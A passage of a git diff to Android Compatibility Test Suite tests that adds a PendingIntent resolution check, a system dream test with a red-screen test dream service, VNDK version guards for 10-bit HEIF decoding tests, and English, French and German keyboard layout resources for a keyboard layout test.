+import com.google.common.truth.Expect;
+
import junit.framework.AssertionFailedError;
import org.junit.After;
@@ -240,9 +242,9 @@
@Before
public void setup() throws Exception {
- mContext = InstrumentationRegistry.getContext();
- mPackageManager = mContext.getPackageManager();
mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mContext = mInstrumentation.getContext();
+ mPackageManager = mContext.getPackageManager();
}
@After
@@ -505,6 +507,24 @@
results = mPackageManager.queryBroadcastReceivers(intent,
PackageManager.ResolveInfoFlags.of(0));
assertEquals(0, results.size());
+
+ /* Pending Intent tests */
+
+ mInstrumentation.getUiAutomation().adoptShellPermissionIdentity(GET_INTENT_SENDER_INTENT);
+ var authority = INTENT_RESOLUTION_TEST_PKG_NAME + ".provider";
+ Bundle b = mContext.getContentResolver().call(authority, "", null, null);
+ assertNotNull(b);
+ PendingIntent pi = b.getParcelable("pendingIntent", PendingIntent.class);
+ assertNotNull(pi);
+ intent = pi.getIntent();
+ // It should be a non-matching intent, which cannot be resolved in our package
+ results = mPackageManager.queryIntentActivities(intent,
+ PackageManager.ResolveInfoFlags.of(0));
+ assertEquals(0, results.size());
+ // However, querying on behalf of the pending intent creator should work properly
+ results = pi.queryIntentComponents(0);
+ assertEquals(1, results.size());
+ mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
}
private void checkActivityInfoName(String expectedName, List<ResolveInfo> resolves) {
diff --git a/tests/tests/dreams/CtsDreamOverlayTestApp/AndroidManifest.xml b/tests/tests/dreams/CtsDreamOverlayTestApp/AndroidManifest.xml
index f5b3cf5..a4ebe91 100644
--- a/tests/tests/dreams/CtsDreamOverlayTestApp/AndroidManifest.xml
+++ b/tests/tests/dreams/CtsDreamOverlayTestApp/AndroidManifest.xml
@@ -43,5 +43,14 @@
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</service>
+ <service
+ android:name=".TestSystemDreamService"
+ android:exported="true"
+ android:permission="android.permission.BIND_DREAM_SERVICE">
+ <intent-filter>
+ <action android:name="android.service.dreams.DreamService" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </service>
</application>
</manifest>
diff --git a/tests/tests/dreams/CtsDreamOverlayTestApp/src/android/app/dream/cts/app/TestSystemDreamService.java b/tests/tests/dreams/CtsDreamOverlayTestApp/src/android/app/dream/cts/app/TestSystemDreamService.java
new file mode 100644
index 0000000..57f4cf8
--- /dev/null
+++ b/tests/tests/dreams/CtsDreamOverlayTestApp/src/android/app/dream/cts/app/TestSystemDreamService.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.dream.cts.app;
+
+import android.graphics.Color;
+import android.service.dreams.DreamService;
+import android.widget.FrameLayout;
+
+/**
+ * {@link TestSystemDreamService} is a minimal concrete {@link DreamService} implementation that
+ * sets the entire window to be red.
+ */
+public class TestSystemDreamService extends DreamService {
+ public void onAttachedToWindow() {
+ super.onAttachedToWindow();
+
+ setInteractive(false);
+ setFullscreen(true);
+
+ final FrameLayout frameLayout = new FrameLayout(getApplicationContext());
+ frameLayout.setBackgroundColor(Color.RED);
+ setContentView(frameLayout);
+ }
+}
diff --git a/tests/tests/dreams/src/android/service/dreams/cts/DreamOverlayTest.java b/tests/tests/dreams/src/android/service/dreams/cts/DreamOverlayTest.java
index 8c836fa..88b50de 100644
--- a/tests/tests/dreams/src/android/service/dreams/cts/DreamOverlayTest.java
+++ b/tests/tests/dreams/src/android/service/dreams/cts/DreamOverlayTest.java
@@ -99,7 +99,7 @@
ComponentName.unflattenFromString(DREAM_SERVICE_COMPONENT);
final ComponentName dreamActivity = mDreamCoordinator.setActiveDream(dreamService);
- mDreamCoordinator.startDream(dreamService);
+ mDreamCoordinator.startDream();
waitAndAssertTopResumedActivity(dreamActivity, Display.DEFAULT_DISPLAY,
"Dream activity should be the top resumed activity");
// Wait on count down latch.
diff --git a/tests/tests/dreams/src/android/service/dreams/cts/DreamServiceTest.java b/tests/tests/dreams/src/android/service/dreams/cts/DreamServiceTest.java
index 166227a..23831ef 100644
--- a/tests/tests/dreams/src/android/service/dreams/cts/DreamServiceTest.java
+++ b/tests/tests/dreams/src/android/service/dreams/cts/DreamServiceTest.java
@@ -74,7 +74,7 @@
ComponentName.unflattenFromString(DREAM_SERVICE_COMPONENT);
final ComponentName dreamActivity = mDreamCoordinator.setActiveDream(dreamService);
- mDreamCoordinator.startDream(dreamService);
+ mDreamCoordinator.startDream();
waitAndAssertTopResumedActivity(dreamActivity, Display.DEFAULT_DISPLAY,
"Dream activity should be the top resumed activity");
mDreamCoordinator.stopDream();
diff --git a/tests/tests/dreams/src/android/service/dreams/cts/SystemDreamTest.java b/tests/tests/dreams/src/android/service/dreams/cts/SystemDreamTest.java
new file mode 100644
index 0000000..3a65645
--- /dev/null
+++ b/tests/tests/dreams/src/android/service/dreams/cts/SystemDreamTest.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.service.dreams.cts;
+
+import android.content.ComponentName;
+import android.server.wm.ActivityManagerTestBase;
+import android.server.wm.DreamCoordinator;
+import android.view.Display;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.ApiTest;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@ApiTest(apis = {"com.android.server.dreams.DreamManagerService#setSystemDreamComponent"})
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class SystemDreamTest extends ActivityManagerTestBase {
+ private static final String USER_DREAM_COMPONENT =
+ "android.app.dream.cts.app/.TestDreamService";
+ private static final String SYSTEM_DREAM_COMPONENT =
+ "android.app.dream.cts.app/.TestSystemDreamService";
+
+ private final DreamCoordinator mDreamCoordinator = new DreamCoordinator(mContext);
+
+ private ComponentName mSystemDream;
+ private ComponentName mUserDreamActivity;
+
+ @Before
+ public void setup() {
+ mDreamCoordinator.setup();
+
+ final ComponentName userDream = ComponentName.unflattenFromString(USER_DREAM_COMPONENT);
+ mSystemDream = ComponentName.unflattenFromString(SYSTEM_DREAM_COMPONENT);
+ mUserDreamActivity = mDreamCoordinator.setActiveDream(userDream);
+ }
+
+ @After
+ public void reset() {
+ mDreamCoordinator.restoreDefaults();
+ }
+
+ @Test
+ public void startDream_systemDreamNotSet_startUserDream() {
+ startAndVerifyDreamActivity(mUserDreamActivity);
+ }
+
+ @Test
+ public void startDream_systemDreamSet_startSystemDream() {
+ final ComponentName systemDreamActivity = mDreamCoordinator.setSystemDream(mSystemDream);
+ startAndVerifyDreamActivity(systemDreamActivity);
+ }
+
+ @Test
+ public void switchDream_systemDreamSet_switchToSystemDream() {
+ mDreamCoordinator.startDream();
+
+ // Sets system dream.
+ final ComponentName systemDreamActivity = mDreamCoordinator.setSystemDream(mSystemDream);
+ try {
+ // Verifies switched to system dream.
+ waitAndAssertTopResumedActivity(systemDreamActivity, Display.DEFAULT_DISPLAY,
+ getDreamActivityVerificationMessage(systemDreamActivity));
+ } finally {
+ mDreamCoordinator.stopDream();
+ }
+ }
+
+ @Test
+ public void switchDream_systemDreamCleared_switchToUserDream() {
+ mDreamCoordinator.setSystemDream(mSystemDream);
+ mDreamCoordinator.startDream();
+
+ // Clears system dream.
+ mDreamCoordinator.setSystemDream(null);
+ try {
+ // Verifies switched back to user dream.
+ waitAndAssertTopResumedActivity(mUserDreamActivity, Display.DEFAULT_DISPLAY,
+ getDreamActivityVerificationMessage(mUserDreamActivity));
+ } finally {
+ mDreamCoordinator.stopDream();
+ }
+ }
+
+ private void startAndVerifyDreamActivity(ComponentName expectedDreamActivity) {
+ try {
+ mDreamCoordinator.startDream();
+ waitAndAssertTopResumedActivity(expectedDreamActivity, Display.DEFAULT_DISPLAY,
+ getDreamActivityVerificationMessage(expectedDreamActivity));
+ } finally {
+ mDreamCoordinator.stopDream();
+ }
+ }
+
+ private String getDreamActivityVerificationMessage(ComponentName activity) {
+ return activity.flattenToString() + " should be displayed";
+ }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
index 4766268..ef44528 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
@@ -41,6 +41,7 @@
import android.os.Build;
import android.os.Parcel;
import android.os.ParcelFileDescriptor;
+import android.os.SystemProperties;
import android.platform.test.annotations.LargeTest;
import android.platform.test.annotations.RequiresDevice;
import android.system.ErrnoException;
@@ -1012,6 +1013,9 @@
public void testDecode10BitHEIFTo10BitBitmap() {
assumeTrue(
"Test needs Android T.", ApiLevelUtil.isFirstApiAtLeast(Build.VERSION_CODES.TIRAMISU));
+ assumeTrue(
+ "Test needs VNDK at least T.",
+ SystemProperties.getInt("ro.vndk.version", 0) >= Build.VERSION_CODES.TIRAMISU);
assumeTrue("No 10-bit HEVC decoder, skip the test.", has10BitHEVCDecoder());
BitmapFactory.Options opt = new BitmapFactory.Options();
@@ -1028,6 +1032,9 @@
public void testDecode10BitHEIFTo8BitBitmap() {
assumeTrue(
"Test needs Android T.", ApiLevelUtil.isFirstApiAtLeast(Build.VERSION_CODES.TIRAMISU));
+ assumeTrue(
+ "Test needs VNDK at least T.",
+ SystemProperties.getInt("ro.vndk.version", 0) >= Build.VERSION_CODES.TIRAMISU);
assumeTrue("No 10-bit HEVC decoder, skip the test.", has10BitHEVCDecoder());
BitmapFactory.Options opt = new BitmapFactory.Options();
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 6741c07..b6689d8 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -49,6 +49,7 @@
import android.media.MediaFormat;
import android.net.Uri;
import android.os.Build;
+import android.os.SystemProperties;
import android.util.DisplayMetrics;
import android.util.Size;
import android.util.TypedValue;
@@ -246,6 +247,9 @@
public void testDecode10BitHeif() {
assumeTrue(
"Test needs Android T.", ApiLevelUtil.isFirstApiAtLeast(Build.VERSION_CODES.TIRAMISU));
+ assumeTrue(
+ "Test needs VNDK at least T.",
+ SystemProperties.getInt("ro.vndk.version", 0) >= Build.VERSION_CODES.TIRAMISU);
assumeTrue("No 10-bit HEVC decoder, skip the test.", has10BitHEVCDecoder());
try {
diff --git a/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java b/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
index fb3d7ed..caccc0b 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
@@ -34,6 +34,7 @@
import androidx.test.filters.SmallTest;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Assert;
@@ -74,6 +75,7 @@
}
@Test
+ @CddTest(requirements = {"3.8.6/C-1-4,C-1-5,C-1-6"})
public void testThemeStyles() {
final Context context = getInstrumentation().getTargetContext();
forEachThemeDefinition((color, style, expectedPalette) -> {
diff --git a/tests/tests/hardware/AndroidManifest.xml b/tests/tests/hardware/AndroidManifest.xml
index 6ac6d52..897e3df 100644
--- a/tests/tests/hardware/AndroidManifest.xml
+++ b/tests/tests/hardware/AndroidManifest.xml
@@ -103,6 +103,16 @@
android:label="FingerprintTestActivity">
</activity>
+ <receiver android:name="android.hardware.input.cts.tests.KeyboardLayoutChangeTest.CtsKeyboardLayoutProvider"
+ android:label="CTS keyboard layout provider"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.hardware.input.action.QUERY_KEYBOARD_LAYOUTS" />
+ </intent-filter>
+ <meta-data android:name="android.hardware.input.metadata.KEYBOARD_LAYOUTS"
+ android:resource="@xml/keyboard_layouts" />
+ </receiver>
+
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/hardware/res/raw/keyboard_layout_english_us.kcm b/tests/tests/hardware/res/raw/keyboard_layout_english_us.kcm
new file mode 100644
index 0000000..ca90402
--- /dev/null
+++ b/tests/tests/hardware/res/raw/keyboard_layout_english_us.kcm
@@ -0,0 +1,311 @@
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# English (US) keyboard layout.
+# Unlike the default (generic) keyboard layout, English (US) does not contain any
+# special ALT characters.
+#
+
+type OVERLAY
+
+### ROW 1
+
+key GRAVE {
+ label: '`'
+ base: '`'
+ shift: '~'
+}
+
+key 1 {
+ label: '1'
+ base: '1'
+ shift: '!'
+}
+
+key 2 {
+ label: '2'
+ base: '2'
+ shift: '@'
+}
+
+key 3 {
+ label: '3'
+ base: '3'
+ shift: '#'
+}
+
+key 4 {
+ label: '4'
+ base: '4'
+ shift: '$'
+}
+
+key 5 {
+ label: '5'
+ base: '5'
+ shift: '%'
+}
+
+key 6 {
+ label: '6'
+ base: '6'
+ shift: '^'
+}
+
+key 7 {
+ label: '7'
+ base: '7'
+ shift: '&'
+}
+
+key 8 {
+ label: '8'
+ base: '8'
+ shift: '*'
+}
+
+key 9 {
+ label: '9'
+ base: '9'
+ shift: '('
+}
+
+key 0 {
+ label: '0'
+ base: '0'
+ shift: ')'
+}
+
+key MINUS {
+ label: '-'
+ base: '-'
+ shift: '_'
+}
+
+key EQUALS {
+ label: '='
+ base: '='
+ shift: '+'
+}
+
+### ROW 2
+
+key Q {
+ label: 'Q'
+ base: 'q'
+ shift, capslock: 'Q'
+}
+
+key W {
+ label: 'W'
+ base: 'w'
+ shift, capslock: 'W'
+}
+
+key E {
+ label: 'E'
+ base: 'e'
+ shift, capslock: 'E'
+}
+
+key R {
+ label: 'R'
+ base: 'r'
+ shift, capslock: 'R'
+}
+
+key T {
+ label: 'T'
+ base: 't'
+ shift, capslock: 'T'
+}
+
+key Y {
+ label: 'Y'
+ base: 'y'
+ shift, capslock: 'Y'
+}
+
+key U {
+ label: 'U'
+ base: 'u'
+ shift, capslock: 'U'
+}
+
+key I {
+ label: 'I'
+ base: 'i'
+ shift, capslock: 'I'
+}
+
+key O {
+ label: 'O'
+ base: 'o'
+ shift, capslock: 'O'
+}
+
+key P {
+ label: 'P'
+ base: 'p'
+ shift, capslock: 'P'
+}
+
+key LEFT_BRACKET {
+ label: '['
+ base: '['
+ shift: '{'
+}
+
+key RIGHT_BRACKET {
+ label: ']'
+ base: ']'
+ shift: '}'
+}
+
+key BACKSLASH {
+ label: '\\'
+ base: '\\'
+ shift: '|'
+}
+
+### ROW 3
+
+key A {
+ label: 'A'
+ base: 'a'
+ shift, capslock: 'A'
+}
+
+key S {
+ label: 'S'
+ base: 's'
+ shift, capslock: 'S'
+}
+
+key D {
+ label: 'D'
+ base: 'd'
+ shift, capslock: 'D'
+}
+
+key F {
+ label: 'F'
+ base: 'f'
+ shift, capslock: 'F'
+}
+
+key G {
+ label: 'G'
+ base: 'g'
+ shift, capslock: 'G'
+}
+
+key H {
+ label: 'H'
+ base: 'h'
+ shift, capslock: 'H'
+}
+
+key J {
+ label: 'J'
+ base: 'j'
+ shift, capslock: 'J'
+}
+
+key K {
+ label: 'K'
+ base: 'k'
+ shift, capslock: 'K'
+}
+
+key L {
+ label: 'L'
+ base: 'l'
+ shift, capslock: 'L'
+}
+
+key SEMICOLON {
+ label: ';'
+ base: ';'
+ shift: ':'
+}
+
+key APOSTROPHE {
+ label: '\''
+ base: '\''
+ shift: '"'
+}
+
+### ROW 4
+
+key Z {
+ label: 'Z'
+ base: 'z'
+ shift, capslock: 'Z'
+}
+
+key X {
+ label: 'X'
+ base: 'x'
+ shift, capslock: 'X'
+}
+
+key C {
+ label: 'C'
+ base: 'c'
+ shift, capslock: 'C'
+}
+
+key V {
+ label: 'V'
+ base: 'v'
+ shift, capslock: 'V'
+}
+
+key B {
+ label: 'B'
+ base: 'b'
+ shift, capslock: 'B'
+}
+
+key N {
+ label: 'N'
+ base: 'n'
+ shift, capslock: 'N'
+}
+
+key M {
+ label: 'M'
+ base: 'm'
+ shift, capslock: 'M'
+}
+
+key COMMA {
+ label: ','
+ base: ','
+ shift: '<'
+}
+
+key PERIOD {
+ label: '.'
+ base: '.'
+ shift: '>'
+}
+
+key SLASH {
+ label: '/'
+ base: '/'
+ shift: '?'
+}
diff --git a/tests/tests/hardware/res/raw/keyboard_layout_french.kcm b/tests/tests/hardware/res/raw/keyboard_layout_french.kcm
new file mode 100644
index 0000000..65bcd13
--- /dev/null
+++ b/tests/tests/hardware/res/raw/keyboard_layout_french.kcm
@@ -0,0 +1,336 @@
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# French keyboard layout, AZERTY style.
+#
+
+type OVERLAY
+
+map key 16 A
+map key 17 Z
+map key 30 Q
+map key 39 M
+map key 44 W
+map key 50 COMMA
+map key 51 SEMICOLON
+map key 86 PLUS
+
+### ROW 1
+
+key GRAVE {
+ label: '\u00b2'
+ base: '\u00b2'
+}
+
+key 1 {
+ label: '1'
+ base: '&'
+ shift: '1'
+}
+
+key 2 {
+ label: '2'
+ base: '\u00e9'
+ shift: '2'
+ ralt: '~'
+}
+
+key 3 {
+ label: '3'
+ base: '"'
+ shift: '3'
+ ralt: '#'
+}
+
+key 4 {
+ label: '4'
+ base: '\''
+ shift: '4'
+ ralt: '{'
+}
+
+key 5 {
+ label: '5'
+ base: '('
+ shift: '5'
+ ralt: '['
+}
+
+key 6 {
+ label: '6'
+ base: '-'
+ shift: '6'
+ ralt: '|'
+}
+
+key 7 {
+ label: '7'
+ base: '\u00e8'
+ shift: '7'
+ ralt: '`'
+}
+
+key 8 {
+ label: '8'
+ base: '_'
+ shift: '8'
+ ralt: '\\'
+}
+
+key 9 {
+ label: '9'
+ base: '\u00e7'
+ shift: '9'
+ ralt: '^'
+}
+
+key 0 {
+ label: '0'
+ base: '\u00e0'
+ shift: '0'
+ ralt: '@'
+}
+
+key MINUS {
+ label: ')'
+ base: ')'
+ shift: '\u00b0'
+ ralt: ']'
+}
+
+key EQUALS {
+ label: '='
+ base: '='
+ shift: '+'
+ ralt: '}'
+}
+
+### ROW 2
+
+key A {
+ label: 'A'
+ base: 'a'
+ shift, capslock: 'A'
+}
+
+key Z {
+ label: 'Z'
+ base: 'z'
+ shift, capslock: 'Z'
+}
+
+key E {
+ label: 'E'
+ base: 'e'
+ shift, capslock: 'E'
+ ralt: '\u20ac'
+}
+
+key R {
+ label: 'R'
+ base: 'r'
+ shift, capslock: 'R'
+}
+
+key T {
+ label: 'T'
+ base: 't'
+ shift, capslock: 'T'
+}
+
+key Y {
+ label: 'Y'
+ base: 'y'
+ shift, capslock: 'Y'
+}
+
+key U {
+ label: 'U'
+ base: 'u'
+ shift, capslock: 'U'
+}
+
+key I {
+ label: 'I'
+ base: 'i'
+ shift, capslock: 'I'
+}
+
+key O {
+ label: 'O'
+ base: 'o'
+ shift, capslock: 'O'
+}
+
+key P {
+ label: 'P'
+ base: 'p'
+ shift, capslock: 'P'
+}
+
+key LEFT_BRACKET {
+ label: '\u02c6'
+ base: '\u0302'
+ shift: '\u0308'
+}
+
+key RIGHT_BRACKET {
+ label: '$'
+ base: '$'
+ shift: '\u00a3'
+ ralt: '\u00a4'
+}
+
+### ROW 3
+
+key Q {
+ label: 'Q'
+ base: 'q'
+ shift, capslock: 'Q'
+}
+
+key S {
+ label: 'S'
+ base: 's'
+ shift, capslock: 'S'
+}
+
+key D {
+ label: 'D'
+ base: 'd'
+ shift, capslock: 'D'
+}
+
+key F {
+ label: 'F'
+ base: 'f'
+ shift, capslock: 'F'
+}
+
+key G {
+ label: 'G'
+ base: 'g'
+ shift, capslock: 'G'
+}
+
+key H {
+ label: 'H'
+ base: 'h'
+ shift, capslock: 'H'
+}
+
+key J {
+ label: 'J'
+ base: 'j'
+ shift, capslock: 'J'
+}
+
+key K {
+ label: 'K'
+ base: 'k'
+ shift, capslock: 'K'
+}
+
+key L {
+ label: 'L'
+ base: 'l'
+ shift, capslock: 'L'
+}
+
+key M {
+ label: 'M'
+ base: 'm'
+ shift, capslock: 'M'
+}
+
+key APOSTROPHE {
+ label: '\u00f9'
+ base: '\u00f9'
+ shift: '%'
+}
+
+key BACKSLASH {
+ label: '*'
+ base: '*'
+ shift: '\u00b5'
+}
+
+### ROW 4
+
+key PLUS {
+ label: '<'
+ base: '<'
+ shift: '>'
+}
+
+key W {
+ label: 'W'
+ base: 'w'
+ shift, capslock: 'W'
+}
+
+key X {
+ label: 'X'
+ base: 'x'
+ shift, capslock: 'X'
+}
+
+key C {
+ label: 'C'
+ base: 'c'
+ shift, capslock: 'C'
+}
+
+key V {
+ label: 'V'
+ base: 'v'
+ shift, capslock: 'V'
+}
+
+key B {
+ label: 'B'
+ base: 'b'
+ shift, capslock: 'B'
+}
+
+key N {
+ label: 'N'
+ base: 'n'
+ shift, capslock: 'N'
+}
+
+key COMMA {
+ label: ','
+ base: ','
+ shift: '?'
+}
+
+key SEMICOLON {
+ label: ';'
+ base: ';'
+ shift: '.'
+}
+
+key PERIOD {
+ label: ':'
+ base: ':'
+ shift: '/'
+}
+
+key SLASH {
+ label: '!'
+ base: '!'
+ shift: '\u00a7'
+}
diff --git a/tests/tests/hardware/res/raw/keyboard_layout_german.kcm b/tests/tests/hardware/res/raw/keyboard_layout_german.kcm
new file mode 100644
index 0000000..864af12
--- /dev/null
+++ b/tests/tests/hardware/res/raw/keyboard_layout_german.kcm
@@ -0,0 +1,333 @@
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#
+# German keyboard layout, QWERTZ style.
+#
+
+type OVERLAY
+
+map key 12 SLASH # � ? \
+map key 21 Z
+map key 44 Y
+map key 53 MINUS # - _
+map key 86 PLUS # < > |
+
+### ROW 1
+
+key GRAVE {
+ label: '^'
+ base: '^'
+ shift: '\u00b0'
+}
+
+key 1 {
+ label: '1'
+ base: '1'
+ shift: '!'
+}
+
+key 2 {
+ label: '2'
+ base: '2'
+ shift: '"'
+ ralt: '\u00b2'
+}
+
+key 3 {
+ label: '3'
+ base: '3'
+ shift: '\u00a7'
+ ralt: '\u00b3'
+}
+
+key 4 {
+ label: '4'
+ base: '4'
+ shift: '$'
+}
+
+key 5 {
+ label: '5'
+ base: '5'
+ shift: '%'
+}
+
+key 6 {
+ label: '6'
+ base: '6'
+ shift: '&'
+}
+
+key 7 {
+ label: '7'
+ base: '7'
+ shift: '/'
+ ralt: '{'
+}
+
+key 8 {
+ label: '8'
+ base: '8'
+ shift: '('
+ ralt: '['
+}
+
+key 9 {
+ label: '9'
+ base: '9'
+ shift: ')'
+ ralt: ']'
+}
+
+key 0 {
+ label: '0'
+ base: '0'
+ shift: '='
+ ralt: '}'
+}
+
+key SLASH {
+ label: '\u00df'
+ base: '\u00df'
+ shift: '?'
+ ralt: '\\'
+}
+
+key EQUALS {
+ label: '\u00b4'
+ base: '\u0301'
+ shift: '\u0300'
+}
+
+### ROW 2
+
+key Q {
+ label: 'Q'
+ base: 'q'
+ shift, capslock: 'Q'
+ ralt: '@'
+}
+
+key W {
+ label: 'W'
+ base: 'w'
+ shift, capslock: 'W'
+}
+
+key E {
+ label: 'E'
+ base: 'e'
+ shift, capslock: 'E'
+ ralt: '\u20ac'
+}
+
+key R {
+ label: 'R'
+ base: 'r'
+ shift, capslock: 'R'
+}
+
+key T {
+ label: 'T'
+ base: 't'
+ shift, capslock: 'T'
+}
+
+key Z {
+ label: 'Z'
+ base: 'z'
+ shift, capslock: 'Z'
+}
+
+key U {
+ label: 'U'
+ base: 'u'
+ shift, capslock: 'U'
+}
+
+key I {
+ label: 'I'
+ base: 'i'
+ shift, capslock: 'I'
+}
+
+key O {
+ label: 'O'
+ base: 'o'
+ shift, capslock: 'O'
+}
+
+key P {
+ label: 'P'
+ base: 'p'
+ shift, capslock: 'P'
+}
+
+key LEFT_BRACKET {
+ label: '\u00dc'
+ base: '\u00fc'
+ shift, capslock: '\u00dc'
+}
+
+key RIGHT_BRACKET {
+ label: '+'
+ base: '+'
+ shift: '*'
+ ralt: '~'
+}
+
+### ROW 3
+
+key A {
+ label: 'A'
+ base: 'a'
+ shift, capslock: 'A'
+}
+
+key S {
+ label: 'S'
+ base: 's'
+ shift, capslock: 'S'
+}
+
+key D {
+ label: 'D'
+ base: 'd'
+ shift, capslock: 'D'
+}
+
+key F {
+ label: 'F'
+ base: 'f'
+ shift, capslock: 'F'
+}
+
+key G {
+ label: 'G'
+ base: 'g'
+ shift, capslock: 'G'
+}
+
+key H {
+ label: 'H'
+ base: 'h'
+ shift, capslock: 'H'
+}
+
+key J {
+ label: 'J'
+ base: 'j'
+ shift, capslock: 'J'
+}
+
+key K {
+ label: 'K'
+ base: 'k'
+ shift, capslock: 'K'
+}
+
+key L {
+ label: 'L'
+ base: 'l'
+ shift, capslock: 'L'
+}
+
+key SEMICOLON {
+ label: '\u00d6'
+ base: '\u00f6'
+ shift, capslock: '\u00d6'
+}
+
+key APOSTROPHE {
+ label: '\u00c4'
+ base: '\u00e4'
+ shift, capslock: '\u00c4'
+}
+
+key BACKSLASH {
+ label: '#'
+ base: '#'
+ shift: '\''
+}
+
+### ROW 4
+
+key PLUS {
+ label: '<'
+ base: '<'
+ shift: '>'
+ ralt: '|'
+}
+
+key Y {
+ label: 'Y'
+ base: 'y'
+ shift, capslock: 'Y'
+}
+
+key X {
+ label: 'X'
+ base: 'x'
+ shift, capslock: 'X'
+}
+
+key C {
+ label: 'C'
+ base: 'c'
+ shift, capslock: 'C'
+}
+
+key V {
+ label: 'V'
+ base: 'v'
+ shift, capslock: 'V'
+}
+
+key B {
+ label: 'B'
+ base: 'b'
+ shift, capslock: 'B'
+}
+
+key N {
+ label: 'N'
+ base: 'n'
+ shift, capslock: 'N'
+}
+
+key M {
+ label: 'M'
+ base: 'm'
+ shift, capslock: 'M'
+ ralt: '\u00b5'
+}
+
+key COMMA {
+ label: ','
+ base: ','
+ shift: ';'
+}
+
+key PERIOD {
+ label: '.'
+ base: '.'
+ shift: ':'
+}
+
+key MINUS {
+ label: '-'
+ base: '-'
+ shift: '_'
+}
diff --git a/tests/tests/hardware/res/xml/keyboard_layouts.xml b/tests/tests/hardware/res/xml/keyboard_layouts.xml
new file mode 100644
index 0000000..4516a36
--- /dev/null
+++ b/tests/tests/hardware/res/xml/keyboard_layouts.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2022 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<keyboard-layouts xmlns:android="http://schemas.android.com/apk/res/android">
+
+ <keyboard-layout android:name="keyboard_layout_english_us"
+ android:label="English (US)"
+ android:keyboardLayout="@raw/keyboard_layout_english_us" />
+
+ <keyboard-layout android:name="keyboard_layout_german"
+ android:label="German"
+ android:keyboardLayout="@raw/keyboard_layout_german" />
+
+ <keyboard-layout android:name="keyboard_layout_french"
+ android:label="French"
+ android:keyboardLayout="@raw/keyboard_layout_french" />
+</keyboard-layouts>
